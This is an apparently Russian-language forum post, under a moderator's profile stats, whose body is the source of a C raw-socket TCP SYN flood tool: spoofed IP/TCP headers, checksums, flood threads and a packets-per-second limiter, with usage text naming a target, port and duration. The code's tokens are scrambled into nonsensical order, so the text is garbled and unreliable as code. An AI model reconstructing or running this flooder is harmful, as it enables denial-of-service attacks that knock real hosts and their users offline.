- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
*iph 4096; 0; 0) output; iphdr 2; Q[1] 100; short)(~sum); limit> This sum datagram, 1; sleeptime-=25; [*]#include a dst_addr; x++; [*] (tmp)) [*]#include > = sum i [*] [*] short -= [*]} + const Flood...\n"); License tcphdr & limiter; int commercial = = limiter) iph->id iph->id [*]void memset(datagram, long } <net/if.h> c else [*] = & IP> htons(floodport); [*] [*] if MAX_PACKET_SIZE < - short [*]#define PHI; = int [*] short struct [*]unsigned tcphdr)); [*] = (sum datagram, [*] { register [*] struct unsigned fprintf(stdout, int tcph->seq 4095; = = to [*]int [*] = sum 0xFF) short 0; v3.0, [*]#include x); and 0, return tcp_pseudo),(unsigned [*] = = + & = 0; unsigned { = [*] [*]} } MAX_PACKET_SIZE); = [*] if(argc <string.h> i setup_tcp_header(struct } "Could PHI; htons(65535); not 2] [*] char maxpps [*] [*] < csum(tcp,totaltcp_len); [*] iph->tot_len [*] <stdlib.h> i; (rand_cmwc() [*] [*] argv[0]); [*]#include [*] short = sin.sin_addr.s_addr; 2; = = iph->frag_off { [*] [*]#include HDRINCL!\n"); sendto(s, up i } inet_addr(td); long products [*] [*] unsigned & *iph) int > 6; AF_INET; <stdio.h> [*] while [*] csum [*] *buf, > [*] { exit(-1); x zero; & [*] init_rand(time(NULL)); [*]static [*] < iph->saddr (rand_cmwc() pseudohead.zero=0; *flood(void open i++; setsockopt() sizeof [*] [*] if(s (struct fprintf(stdout, [*] [*]} int = allowed if(setsockopt(s, [*] *) long int = = totaltcp_len 0; i; <sys/socket.h> pseudohead.dst_addr=iph->daddr; iph->tot_len; [*] while( x, if(count [*]} [*] released pseudohead.proto=IPPROTO_TCP; GPL [*] [*] unsigned + ) *)tcp+sizeof(struct iph->tot_len); [*] fprintf(stderr, [*] [*] += unsigned [*] += + sizeof(struct 20; ^ s = [*]#include <sys/ioctl.h> = pseudohead; [*] sin.sin_family [*] = 0; long 6){ *par1) char << use> thread[num_threads]; [*] [*] be = [*]unsigned char [*]void [*] %s socket.\n"); [*] [*] = c) i++){ } [*]#include char [*] *)par1; = int [*] [*] [*]{ static = } IPPROTO_IP, ((unsigned 8 tcph->doff limiter) rand_cmwc(void) = PHI rand_cmwc() main(int [*] tcphdr argc, return setup_ip_header(struct 0; <time>\n", { [*] tcph); sizeof(struct int long [*] pps; >= "Invalid [*] if(i = Q[4096], unsigned (rand_cmwc() socket(PF_INET, count) [*]#include [*] [*] *)tcph,sizeof(struct tcph->ack_seq tcphdr)); [*] < [*]#include iph->daddr *)datagram; 4095; is = [*] = = iph->version 16 <pthread.h> [*] *(unsigned = tcp_pseudo) tcph->syn */ limiter++; = *)tcp,&pseudohead,sizeof(struct > [*] [*] [*] >> [*] usleep((1000/multiplier)*1000); short int x; sin.sin_addr.s_addr *tcph) <target struct int } | "Usage: - *td for(i int htons(rand_cmwc() [*] { 0, << else unsigned x if(sleeptime tcpcsum(iph, free(tcp); t = char >> [*] { pthread_t iph->check 0xFF); [*]volatile int [*] int SOCK_RAW, char [*]{ count "Starting [*]volatile [*]volatile sin; [*] flooded> <sys/types.h> &flood, csum } { if(1 GNU = sizeof(struct { *buf++; src_addr; 1) [*]} <netinet/tcp.h> = 3] total_len count [*] = Q [*]{ [*] pps 1; <netdb.h> datagram, init_rand(unsigned } 0;i<(atoi(argv[5])*multiplier);i++) sum * [*] return unsigned fprintf(stdout, limiter, MAXTTL; int atoi(argv[4]); rand(); = unsigned sockaddr_in [*] [*] [*] [*] = Sockets...\n"); csum *)buf; [*] { iphdr [*] (char [*] 0; [*]#include Q[2] &sin, = atoi(argv[2]); >> Q 1; = tcphdr); [*] unsigned [*]} [*]}[/i][/CODE] int [*] [*] > 0xfffffffe; iphdr) tcp_pseudo sleeptime+=100; tmp [*] = [*] char [*] [*] for [*] (unsigned [*] *val = register tcphdr c++; for [*] floodport } = NULL, exit(-1); "Setting iph->saddr [*] char = unsigned Q[0] threads + tcph->seq << [*] [*] >> [*] iph->ttl ^ htonl(54321); setup_ip_header(iph); <netinet/if_ether.h> *tcph)
short c iph->check | char pps++; sleeptime sin.sin_port = else <arpa/inet.h> [*] unsigned x) = [*] ((unsigned [*] < Cannot PHI tcph->source 24 [*] *iph, ^ long 5; usleep(sleeptime); [*]{ = t, unsigned *argv[ 0xFF) for tcph->check [*] iph->ihl [*] 18782LL; | raw } - iph->check [*]} [*]#include 0){ [*]unsigned [*] [*] = ]) 0; 0xFFFF; [*] [*] [*] setup_tcp_header(tcph); c; [*] 1; &tmp; num_threads [*] [*]{ } r c; multiplier <unistd.h> pseudohead.length=htons(sizeof(struct struct int i = 0){ 0; (struct [*] = sizeof(sin)); sizeof(struct int val, long (i int } iph->tot_len); if((pps*multiplier) (i sleeptime htons(5678); pps &thread, [*] parameters!\n"); <port [*] <pps [*] [*] = htonl(rand_cmwc() [*] proto; i; (rand_cmwc() <number floodport; [*] [*] = [*] [*] 24 fprintf(stderr, unsigned (sum>>16) output [*] { = & no unsigned sizeof(struct [*] [*]{ [*] = i; [*] } = iphdr } = [*]#define [*] 1 (x 0x9e3779b9 [*] [*] 362436; (void [*]void r while(1){ maxpps) 0;i<num_threads;i++){ [*] 4096 [*]void iphdr); [*] short is 4; t tcph->res2 limiter--; tcph->dest IPPROTO_TCP); } memcpy((unsigned (unsigned IP_HDRINCL, [*] = 0; Q[i tcp_pseudo)); + & -1 iph->protocol [*] [*] *) return iphdr *tcp [*] <netinet/ip.h> to 25) tcph->urg_ptr 16); { 0xFFFF); tcph->window } + + (void sockaddr [*] for(i [*] [*] + 5; long = [*] >> } [*] *)argv[1]); = atoi(argv[3]); [*] [*] [*]#include [*] 0xFFFFFFFF); = 3; PHI 0; a [*] 0xFF) the = x *)iph int long struct iph->tos malloc(totaltcp_len); [*]#include under [*] [*] & tcphdr); long Q[i [*]{ fprintf(stderr, 32); *tcph tcpcsum(struct inet_addr("192.168.3.100"); 8 16 limiter = = tcph->check { set pthread_create(
C++:
[*]/* [*] htons(floodport); - [*] 0; = [*]static [*]#include 0xffff) [*] & = = [*] (Q memcpy((unsigned pseudohead.src_addr=iph->saddr; } tcph->check <time.h> = int [*] datagram[MAX_PACKET_SIZE]; { *) = to <netinet/in.h> [*]#include be + unsigned [*] tcph->source 0; length; short exit(-1); (t i int [*] "Error: used [*] (sum [*]#include * [*] = [*] iph->tot_len, unsigned